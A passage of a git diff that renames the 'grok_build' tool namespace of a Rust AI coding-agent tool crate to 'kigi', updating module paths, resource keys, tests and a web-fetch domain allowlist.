 fn is_background_capable_bash_tool(tc: &crate::registry::types::ToolConfig) -> bool {
     match tc.id.as_str() {
-        "GrokBuild:run_terminal_cmd" | "GrokBuildConcise:run_terminal_cmd" => tc
+        "Kigi:run_terminal_cmd" | "KigiConcise:run_terminal_cmd" => tc
             .params
             .as_ref()
             .and_then(|params| params.get("enabled_background"))
@@ -667,7 +667,7 @@ pub enum SubagentEvent {
 #[educe(Debug)]
 pub struct SubagentEventSender(#[educe(Debug(ignore))] pub mpsc::UnboundedSender<SubagentEvent>);
 
-register_resource!("grok_build", "SubagentEventSender", SubagentEventSender);
+register_resource!("kigi", "SubagentEventSender", SubagentEventSender);
 
 // Mid-turn monitor event buffer
 
@@ -680,7 +680,7 @@ pub struct MonitorEventNotification {
     ///
     /// In leader mode every session shares one [`MonitorEventBuffer`], so the
     /// drain sites filter on this to avoid surfacing one session's monitor
-    /// events inside another session's turn. `None` for legacy / non-grok-build
+    /// events inside another session's turn. `None` for legacy / non-kigi
     /// backends, which any session drains for backwards compatibility.
     pub owner_session_id: Option<String>,
 }
@@ -703,7 +703,7 @@ impl MonitorEventNotification {
 /// drains its session's events via [`drain_owned`].
 pub type MonitorEventBuffer = kigi_interjection_core::EventQueue<MonitorEventNotification>;
 
-register_resource!("grok_build", "MonitorEventBuffer", MonitorEventBuffer);
+register_resource!("kigi", "MonitorEventBuffer", MonitorEventBuffer);
 
 /// Drain only `my_owner`'s events (the buffer is shared across sessions in
 /// leader mode); owner-less legacy events drain anywhere.
@@ -754,7 +754,7 @@ pub struct SubagentListActiveRequest {
 #[derive(Debug, Clone)]
 pub struct SubagentDepthCounter(pub u32);
 
-register_resource!("grok_build", "SubagentDepthCounter", SubagentDepthCounter);
+register_resource!("kigi", "SubagentDepthCounter", SubagentDepthCounter);
 
 /// Session-scoped validator for model-facing `Task.model` arguments.
 ///
@@ -782,14 +782,14 @@ impl std::fmt::Debug for TaskModelValidator {
     }
 }
 
-register_resource!("grok_build", "TaskModelValidator", TaskModelValidator);
+register_resource!("kigi", "TaskModelValidator", TaskModelValidator);
 
 /// Carries the current session ID so TaskTool can set `parent_session_id`
 /// on the `SubagentRequest`.
 #[derive(Debug, Clone)]
 pub struct SessionIdResource(pub String);
 
-register_resource!("grok_build", "SessionIdResource", SessionIdResource);
+register_resource!("kigi", "SessionIdResource", SessionIdResource);
 
 /// Carries the current parent prompt/turn ID for TaskTool subagent scoping.
 ///
@@ -799,11 +799,7 @@ register_resource!("grok_build", "SessionIdResource", SessionIdResource);
 #[derive(Debug, Clone)]
 pub struct CurrentPromptIdResource(pub String);
 
-register_resource!(
-    "grok_build",
-    "CurrentPromptIdResource",
-    CurrentPromptIdResource
-);
+register_resource!("kigi", "CurrentPromptIdResource", CurrentPromptIdResource);
 
 /// True while a `/goal` loop is active. Set by kigi-shell at turn start.
 /// When true, `TaskCompletionReminder` suppresses bg-task completion
@@ -813,7 +809,7 @@ register_resource!(
 #[derive(Debug, Clone, Copy, Default)]
 pub struct GoalLoopActive(pub bool);
 
-register_resource!("grok_build", "GoalLoopActive", GoalLoopActive);
+register_resource!("kigi", "GoalLoopActive", GoalLoopActive);
 
 /// Thread-local tracing capture for behavioral log-emission tests.
 #[cfg(test)]
@@ -908,12 +904,12 @@ mod tests {
     fn read_only_filter_prunes_orphaned_background_task_tools() {
         let mut config = ToolServerConfig {
             tools: vec![
-                tc("GrokBuild:run_terminal_cmd", ToolKind::Execute),
-                tc("GrokBuild:read_file", ToolKind::Read),
-                tc("GrokBuild:list_dir", ToolKind::List),
-                tc("GrokBuild:grep", ToolKind::Search),
-                tc("GrokBuild:kill_task", ToolKind::KillTaskAction),
-                tc("GrokBuild:get_task_output", ToolKind::BackgroundTaskAction),
+                tc("Kigi:run_terminal_cmd", ToolKind::Execute),
+                tc("Kigi:read_file", ToolKind::Read),
+                tc("Kigi:list_dir", ToolKind::List),
+                tc("Kigi:grep", ToolKind::Search),
+                tc("Kigi:kill_task", ToolKind::KillTaskAction),
+                tc("Kigi:get_task_output", ToolKind::BackgroundTaskAction),
             ],
             behavior_preset: None,
         };
@@ -921,27 +917,20 @@ mod tests {
         SubagentCapabilityMode::ReadOnly.filter_tool_config(&mut config);
 
         let ids: Vec<&str> = config.tools.iter().map(|tc| tc.id.as_str()).collect();
-        assert_eq!(
-            ids,
-            vec![
-                "GrokBuild:read_file",
-                "GrokBuild:list_dir",
-                "GrokBuild:grep",
-            ]
-        );
+        assert_eq!(ids, vec!["Kigi:read_file", "Kigi:list_dir", "Kigi:grep",]);
     }
 
     #[test]
     fn read_only_filter_keeps_background_task_tools_when_task_tool_remains() {
         let mut config = ToolServerConfig {
             tools: vec![
-                tc("GrokBuild:run_terminal_cmd", ToolKind::Execute),
-                tc("GrokBuild:read_file", ToolKind::Read),
-                tc("GrokBuild:list_dir", ToolKind::List),
-                tc("GrokBuild:grep", ToolKind::Search),
-                tc("GrokBuild:kill_task", ToolKind::KillTaskAction),
-                tc("GrokBuild:get_task_output", ToolKind::BackgroundTaskAction),
-                tc("GrokBuild:task", ToolKind::Task),
+                tc("Kigi:run_terminal_cmd", ToolKind::Execute),
+                tc("Kigi:read_file", ToolKind::Read),
+                tc("Kigi:list_dir", ToolKind::List),
+                tc("Kigi:grep", ToolKind::Search),
+                tc("Kigi:kill_task", ToolKind::KillTaskAction),
+                tc("Kigi:get_task_output", ToolKind::BackgroundTaskAction),
+                tc("Kigi:task", ToolKind::Task),
             ],
             behavior_preset: None,
         };
@@ -952,12 +941,12 @@ mod tests {
         assert_eq!(
             ids,
             vec![
-                "GrokBuild:read_file",
-                "GrokBuild:list_dir",
-                "GrokBuild:grep",
-                "GrokBuild:kill_task",
-                "GrokBuild:get_task_output",
-                "GrokBuild:task",
+                "Kigi:read_file",
+                "Kigi:list_dir",
+                "Kigi:grep",
+                "Kigi:kill_task",
+                "Kigi:get_task_output",
+                "Kigi:task",
             ]
         );
     }
@@ -981,7 +970,7 @@ mod tests {
 
     #[test]
     fn read_write_filter_keeps_background_capable_bash_when_explicitly_enabled() {
-        let mut bash = tc("GrokBuild:run_terminal_cmd", ToolKind::Execute);
+        let mut bash = tc("Kigi:run_terminal_cmd", ToolKind::Execute);
         bash.params = Some(
             serde_json::json!({ "enabled_background": true })
                 .as_object()
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/task_output/mod.rs b/crates/codegen/kigi-tools/src/implementations/kigi/task_output/mod.rs
similarity index 98%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/task_output/mod.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/task_output/mod.rs
index 9b4d4b0..4b2e453 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/task_output/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/task_output/mod.rs
@@ -11,10 +11,10 @@ pub use wait_tasks::WaitTasksTool;
 
 use crate::DEFAULT_TOOL_OUTPUT_BYTES;
 use crate::implementations::BashTool;
-use crate::implementations::grok_build::task::TaskTool;
-use crate::implementations::grok_build::task::backend::SubagentBackendResource;
-use crate::implementations::grok_build::task::types::{SubagentSnapshot, SubagentSnapshotStatus};
-use crate::implementations::grok_build_concise::BashConciseTool;
+use crate::implementations::kigi::task::TaskTool;
+use crate::implementations::kigi::task::backend::SubagentBackendResource;
+use crate::implementations::kigi::task::types::{SubagentSnapshot, SubagentSnapshotStatus};
+use crate::implementations::kigi_concise::BashConciseTool;
 use crate::implementations::opencode::OpenCodeBashTool;
 use crate::implementations::task_output::tool::snapshot_to_result;
 use crate::types::requirements::{Expr, ToolParamsRequirement, ToolRequirement};
@@ -58,7 +58,7 @@ pub(crate) fn capped_wait_timeout(timeout_ms: Option<u64>) -> Duration {
 
 pub(crate) fn background_bash_requires_exprs() -> Vec<Expr<ToolRequirement>> {
     use crate::types::tool_metadata::ToolMetadata;
-    let grok_build_bash = Expr::Value(ToolRequirement::Tool {
+    let kigi_bash = Expr::Value(ToolRequirement::Tool {
         namespace: ToolMetadata::tool_namespace(&BashTool).to_string(),
         id: kigi_tool_runtime::Tool::id(&BashTool).as_str().to_string(),
         if_params: Some(Expr::Value(ToolParamsRequirement {
@@ -66,7 +66,7 @@ pub(crate) fn background_bash_requires_exprs() -> Vec<Expr<ToolRequirement>> {
             value: Expr::Value(serde_json::Value::Bool(true)),
         })),
     });
-    let grok_build_concise_bash = Expr::Value(ToolRequirement::Tool {
+    let kigi_concise_bash = Expr::Value(ToolRequirement::Tool {
         namespace: ToolMetadata::tool_namespace(&BashConciseTool).to_string(),
         id: kigi_tool_runtime::Tool::id(&BashConciseTool)
             .as_str()
@@ -83,7 +83,7 @@ pub(crate) fn background_bash_requires_exprs() -> Vec<Expr<ToolRequirement>> {
             .to_string(),
         if_params: None,
     });
-    vec![grok_build_bash, grok_build_concise_bash, opencode_bash]
+    vec![kigi_bash, kigi_concise_bash, opencode_bash]
 }
 
 /// Shared `requires_expr` for both `get_task_output` and `wait_tasks`.
@@ -669,13 +669,13 @@ impl crate::types::tool_metadata::ToolMetadata for TaskOutputTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
 
     fn description_template(&self) -> &str {
         // Canonical wording lives in the shared builder; `versioned_definition`
         // renders it context-aware from the finalized toolset. This static
-        // fallback mirrors the default grok-build toolset.
+        // fallback mirrors the default kigi toolset.
         static DESC: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
             kigi_tool_types::build_task_output_description(&kigi_tool_types::TaskOutputToolNaming {
                 monitor_tool: Some("monitor"),
@@ -959,7 +959,7 @@ mod tests {
             kigi_tool_runtime::Tool::id(&tool).as_str(),
             "get_task_output"
         );
-        // The static fallback is the shared builder's default grok-build
+        // The static fallback is the shared builder's default kigi
         // rendering (monitor + task + bash + read present): concrete names, no
         // leftover template markers.
         let desc = ToolMetadata::description_template(&tool);
@@ -1797,13 +1797,13 @@ mod tests {
     fn resources_with_backend_query() -> (
         Resources,
         tokio::sync::mpsc::UnboundedReceiver<
-            crate::implementations::grok_build::task::types::SubagentEvent,
+            crate::implementations::kigi::task::types::SubagentEvent,
         >,
     ) {
-        use crate::implementations::grok_build::task::backend::{
+        use crate::implementations::kigi::task::backend::{
             ChannelBackend, SubagentBackendResource,
         };
-        use crate::implementations::grok_build::task::types::SubagentEvent;
+        use crate::implementations::kigi::task::types::SubagentEvent;
         use std::sync::Arc as StdArc;
 
         let mut resources = resources_with_terminal(None);
@@ -1816,10 +1816,10 @@ mod tests {
 
     /// Extract a `SubagentQueryRequest` from a `SubagentEvent`, panicking on wrong variant.
     fn unwrap_query(
-        event: crate::implementations::grok_build::task::types::SubagentEvent,
-    ) -> crate::implementations::grok_build::task::types::SubagentQueryRequest {
+        event: crate::implementations::kigi::task::types::SubagentEvent,
+    ) -> crate::implementations::kigi::task::types::SubagentQueryRequest {
         match event {
-            crate::implementations::grok_build::task::types::SubagentEvent::Query(q) => q,
+            crate::implementations::kigi::task::types::SubagentEvent::Query(q) => q,
             _ => panic!("Expected SubagentEvent::Query"),
         }
     }
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/task_output/terminal_command.rs b/crates/codegen/kigi-tools/src/implementations/kigi/task_output/terminal_command.rs
similarity index 98%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/task_output/terminal_command.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/task_output/terminal_command.rs
index a02dec3..130a5e3 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/task_output/terminal_command.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/task_output/terminal_command.rs
@@ -18,7 +18,7 @@ impl crate::types::tool_metadata::ToolMetadata for GetTerminalCommandOutputTool
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
 
     fn description_template(&self) -> &str {
@@ -83,7 +83,7 @@ impl kigi_tool_runtime::Tool for GetTerminalCommandOutputTool {
 #[cfg(test)]
 mod tests {
     use super::*;
-    use crate::implementations::grok_build::task_output::test_helpers::{
+    use crate::implementations::kigi::task_output::test_helpers::{
         make_snapshot, resources_with_terminal,
     };
     use crate::types::tool_metadata::ToolMetadata;
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/task_output/wait_tasks.rs b/crates/codegen/kigi-tools/src/implementations/kigi/task_output/wait_tasks.rs
similarity index 97%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/task_output/wait_tasks.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/task_output/wait_tasks.rs
index 2331973..97ac539 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/task_output/wait_tasks.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/task_output/wait_tasks.rs
@@ -8,8 +8,8 @@
 //! tool only supports wait-all for multi-id waits.
 
 use crate::DEFAULT_TOOL_OUTPUT_BYTES;
-use crate::implementations::grok_build::task::backend::SubagentBackendResource;
-use crate::implementations::grok_build::task_output::{
+use crate::implementations::kigi::task::backend::SubagentBackendResource;
+use crate::implementations::kigi::task_output::{
     MAX_MULTI_WAIT_IDS, TaskOutputTool, resolve_tasks, wait_any_event_driven,
 };
 use crate::types::requirements::{Expr, ToolRequirement};
@@ -27,13 +27,13 @@ impl crate::types::tool_metadata::ToolMetadata for WaitTasksTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
 
     fn description_template(&self) -> &str {
         // Canonical wording lives in the shared builder; `versioned_definition`
         // renders it context-aware from the finalized toolset. This static
-        // fallback mirrors the default grok-build toolset.
+        // fallback mirrors the default kigi toolset.
         static DESC: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
             kigi_tool_types::build_wait_tasks_description(&kigi_tool_types::WaitTasksToolNaming {
                 background_retrieval_tool: "get_command_or_subagent_output",
@@ -170,7 +170,7 @@ impl kigi_tool_runtime::Tool for WaitTasksTool {
 
         // wait_any: keep legacy event-driven path (not exposed on get_task_output).
         let timeout =
-            crate::implementations::grok_build::task_output::capped_wait_timeout(input.timeout_ms);
+            crate::implementations::kigi::task_output::capped_wait_timeout(input.timeout_ms);
 
         let (terminal, backend, read_file_name, max_output_bytes) = {
             let res = resources.lock().await;
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/todo/mod.rs b/crates/codegen/kigi-tools/src/implementations/kigi/todo/mod.rs
similarity index 99%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/todo/mod.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/todo/mod.rs
index f44b3c9..1b3af00 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/todo/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/todo/mod.rs
@@ -158,7 +158,7 @@ pub struct TodoState {
     todos: IndexMap<TodoId, TodoItem>,
 }
 
-crate::register_resource!("grok_build", "Todo", TodoState);
+crate::register_resource!("kigi", "Todo", TodoState);
 
 impl TodoState {
     pub fn push(&mut self, id: TodoId, todo: TodoItem) {
@@ -265,7 +265,7 @@ impl crate::types::tool_metadata::ToolMetadata for TodoWriteTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
 
     fn description_template(&self) -> &str {
@@ -609,8 +609,8 @@ mod tests {
         let snapshot = res.serialize();
         let state_map = snapshot.get("state").unwrap();
         assert!(
-            state_map.get("grok_build.Todo").is_some(),
-            "TodoState should serialize under 'grok_build.Todo'"
+            state_map.get("kigi.Todo").is_some(),
+            "TodoState should serialize under 'kigi.Todo'"
         );
 
         // Deserialize into fresh Resources
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/update_goal/mod.rs b/crates/codegen/kigi-tools/src/implementations/kigi/update_goal/mod.rs
similarity index 99%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/update_goal/mod.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/update_goal/mod.rs
index b99cda5..0215d5c 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/update_goal/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/update_goal/mod.rs
@@ -203,7 +203,7 @@ impl crate::types::tool_metadata::ToolMetadata for UpdateGoalTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
 
     fn description_template(&self) -> &str {
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/web_fetch/artifact.rs b/crates/codegen/kigi-tools/src/implementations/kigi/web_fetch/artifact.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/web_fetch/artifact.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/web_fetch/artifact.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/web_fetch/cache.rs b/crates/codegen/kigi-tools/src/implementations/kigi/web_fetch/cache.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/web_fetch/cache.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/web_fetch/cache.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/web_fetch/client.rs b/crates/codegen/kigi-tools/src/implementations/kigi/web_fetch/client.rs
similarity index 99%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/web_fetch/client.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/web_fetch/client.rs
index 3e52480..676a3bc 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/web_fetch/client.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/web_fetch/client.rs
@@ -13,7 +13,7 @@ use super::error::WebFetchError;
 use super::http::HttpClient;
 use super::overflow::{OverflowHandler, RecoveryTools, inline_budget};
 use super::ssrf;
-use crate::implementations::grok_build::storage::SessionFileWriter;
+use crate::implementations::kigi::storage::SessionFileWriter;
 use crate::types::output::{WebFetchContent, WebFetchOutput, WebFetchSourceArtifact};
 use scraper::{Html, Selector};
 
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/web_fetch/config.rs b/crates/codegen/kigi-tools/src/implementations/kigi/web_fetch/config.rs
similarity index 97%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/web_fetch/config.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/web_fetch/config.rs
index c62d020..82f2b25 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/web_fetch/config.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/web_fetch/config.rs
@@ -49,7 +49,7 @@ pub struct WebFetchParams {
     pub service_url: Option<String>,
 }
 
-register_resource!("grok_build", "WebFetch", WebFetchParams);
+register_resource!("kigi", "WebFetch", WebFetchParams);
 
 // Keep defaults here so call-sites don't have to manage unwrapping.
 // Vars are still public following other conventions though.
@@ -92,11 +92,10 @@ impl WebFetchParams {
 /// Default allowlist for web_fetch tool.
 /// Note: GET-only preapproved domains. Path-scoped entries (e.g. vercel.com/docs) are included as-is.
 pub static DEFAULT_ALLOWED_DOMAINS: &[&str] = &[
-    // xAI
-    "x.ai",
-    "console.x.ai",
-    "docs.x.ai",
-    "api.x.ai",
+    // Kimi / Moonshot
+    "kimi.com",
+    "platform.moonshot.ai",
+    "platform.moonshot.cn",
     // Programming languages
     "docs.python.org",
     "en.cppreference.com",
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/web_fetch/domain.rs b/crates/codegen/kigi-tools/src/implementations/kigi/web_fetch/domain.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/web_fetch/domain.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/web_fetch/domain.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/web_fetch/error.rs b/crates/codegen/kigi-tools/src/implementations/kigi/web_fetch/error.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/web_fetch/error.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/web_fetch/error.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/web_fetch/http.rs b/crates/codegen/kigi-tools/src/implementations/kigi/web_fetch/http.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/web_fetch/http.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/web_fetch/http.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/web_fetch/mod.rs b/crates/codegen/kigi-tools/src/implementations/kigi/web_fetch/mod.rs
similarity index 99%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/web_fetch/mod.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/web_fetch/mod.rs
index 61a5227..b3930cd 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/web_fetch/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/web_fetch/mod.rs
@@ -75,7 +75,7 @@ impl crate::types::tool_metadata::ToolMetadata for WebFetchTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
 
     fn description_template(&self) -> &str {
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/web_fetch/overflow.rs b/crates/codegen/kigi-tools/src/implementations/kigi/web_fetch/overflow.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/web_fetch/overflow.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/web_fetch/overflow.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/web_fetch/ssrf.rs b/crates/codegen/kigi-tools/src/implementations/kigi/web_fetch/ssrf.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/web_fetch/ssrf.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/web_fetch/ssrf.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/web_search/mod.rs b/crates/codegen/kigi-tools/src/implementations/kigi/web_search/mod.rs
similarity index 99%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/web_search/mod.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/web_search/mod.rs
index d151d6f..1990df2 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/web_search/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/web_search/mod.rs
@@ -50,7 +50,7 @@ impl crate::types::tool_metadata::ToolMetadata for WebSearchTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
 
     fn description_template(&self) -> &str {
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build_concise/bash.rs b/crates/codegen/kigi-tools/src/implementations/kigi_concise/bash.rs
similarity index 97%
rename from crates/codegen/kigi-tools/src/implementations/grok_build_concise/bash.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi_concise/bash.rs
index 160840e..63005af 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build_concise/bash.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi_concise/bash.rs
@@ -2,9 +2,7 @@
 
 use strip_ansi_escapes::strip_str;
 
-use crate::implementations::grok_build::bash::{
-    BashTool, BashToolInput, BashToolOutput, KillReason,
-};
+use crate::implementations::kigi::bash::{BashTool, BashToolInput, BashToolOutput, KillReason};
 use crate::types::output::BashOutput;
 use crate::types::requirements::{Expr, ToolParamsRequirement, ToolRequirement};
 use crate::types::tool::{ToolKind, ToolNamespace};
@@ -89,7 +87,7 @@ impl crate::types::tool_metadata::ToolMetadata for BashConciseTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuildConcise
+        ToolNamespace::KigiConcise
     }
 
     fn description_template(&self) -> &str {
@@ -265,8 +263,7 @@ mod tests {
         // to_prompt_format() is a passthrough — it must NOT add another header.
         let mut bash = make_bash(0, "hello world\n");
         // Pre-bake DEFAULT (what BashTool::run() does)
-        bash.output_for_prompt =
-            crate::implementations::grok_build::bash::format_default_prompt(&bash);
+        bash.output_for_prompt = crate::implementations::kigi::bash::format_default_prompt(&bash);
         assert!(bash.output_for_prompt.starts_with("exit: 0"));
 
         // Concise post-processing (what BashConciseTool::run() does)
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build_concise/mod.rs b/crates/codegen/kigi-tools/src/implementations/kigi_concise/mod.rs
similarity index 64%
rename from crates/codegen/kigi-tools/src/implementations/grok_build_concise/mod.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi_concise/mod.rs
index b2cb1ee..d5ae357 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build_concise/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi_concise/mod.rs
@@ -1,6 +1,6 @@
-//! `GrokBuildConcise` namespace — concise variants of core GrokBuild tools.
+//! `KigiConcise` namespace — concise variants of core Kigi tools.
 //!
-//! These tools share implementation with `grok_build` via `pub(crate)` helpers
+//! These tools share implementation with `kigi` via `pub(crate)` helpers
 //! but produce concise output (compact line numbers, shorter messages,
 //! concise bash formatting).
 
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build_concise/read_file.rs b/crates/codegen/kigi-tools/src/implementations/kigi_concise/read_file.rs
similarity index 95%
rename from crates/codegen/kigi-tools/src/implementations/grok_build_concise/read_file.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi_concise/read_file.rs
index 86c1c08..4135246 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build_concise/read_file.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi_concise/read_file.rs
@@ -1,6 +1,6 @@
 //! Concise variant of the `read_file` tool.
 
-use crate::implementations::grok_build::read_file::{ReadFileInput, run_read_file};
+use crate::implementations::kigi::read_file::{ReadFileInput, run_read_file};
 
 const DESCRIPTION_CONCISE: &str = r#"Reads a file from the computer's filesystem. You can access any file directly by using this tool.
 It is okay to read a file that does not exist; an error will be returned.
@@ -26,7 +26,7 @@ impl crate::types::tool_metadata::ToolMetadata for ReadFileConciseTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuildConcise
+        ToolNamespace::KigiConcise
     }
 
     fn description_template(&self) -> &str {
@@ -77,7 +77,7 @@ impl kigi_tool_runtime::Tool for ReadFileConciseTool {
         use crate::types::tool_metadata::shared_resources;
         let resources = shared_resources(&ctx)?;
 
-        // GrokBuildConcise is not version-managed — always pass None.
+        // KigiConcise is not version-managed — always pass None.
         let cwd_override = ctx
             .extensions
             .get::<kigi_tool_runtime::Cwd>()
@@ -104,7 +104,7 @@ mod tests {
     use crate::types::tool_metadata::test_ctx;
 
     use crate::computer::local::LocalFs;
-    use crate::implementations::grok_build::read_file::ReadFileTool;
+    use crate::implementations::kigi::read_file::ReadFileTool;
     use crate::notification::types::ToolNotificationHandle;
     use crate::types::resources::{Cwd, FileSystem, NotificationHandle, Resources};
     use std::sync::Arc;
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build_concise/search_replace.rs b/crates/codegen/kigi-tools/src/implementations/kigi_concise/search_replace.rs
similarity index 98%
rename from crates/codegen/kigi-tools/src/implementations/grok_build_concise/search_replace.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi_concise/search_replace.rs
index f9a544b..655ed3e 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build_concise/search_replace.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi_concise/search_replace.rs
@@ -1,6 +1,6 @@
 //! Concise variant of the `search_replace` tool.
 
-use crate::implementations::grok_build::search_replace::{SearchReplaceInput, run_search_replace};
+use crate::implementations::kigi::search_replace::{SearchReplaceInput, run_search_replace};
 
 /// Concise description — no read-before-edit enforcement, simplified formatting guidance.
 const DESCRIPTION_CONCISE: &str = r#"Replace an exact string in a file.
@@ -27,7 +27,7 @@ impl crate::types::tool_metadata::ToolMetadata for SearchReplaceConciseTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuildConcise
+        ToolNamespace::KigiConcise
     }
 
     fn description_template(&self) -> &str {
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build_hashline/anchor.rs b/crates/codegen/kigi-tools/src/implementations/kigi_hashline/anchor.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build_hashline/anchor.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi_hashline/anchor.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build_hashline/benchmark.rs b/crates/codegen/kigi-tools/src/implementations/kigi_hashline/benchmark.rs
similarity index 99%
rename from crates/codegen/kigi-tools/src/implementations/grok_build_hashline/benchmark.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi_hashline/benchmark.rs
index 840bdc1..3f5520b 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build_hashline/benchmark.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi_hashline/benchmark.rs
@@ -6,7 +6,7 @@
 //! ## Usage
 //!
 //! ```rust,ignore
-//! use kigi_tools::implementations::grok_build_hashline::benchmark::*;
+//! use kigi_tools::implementations::kigi_hashline::benchmark::*;
 //!
 //! let corpus = vec![
 //!     ("small.rs", "fn main() {}\n"),
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build_hashline/config.rs b/crates/codegen/kigi-tools/src/implementations/kigi_hashline/config.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build_hashline/config.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi_hashline/config.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build_hashline/edit/apply.rs b/crates/codegen/kigi-tools/src/implementations/kigi_hashline/edit/apply.rs
similarity index 99%
rename from crates/codegen/kigi-tools/src/implementations/grok_build_hashline/edit/apply.rs
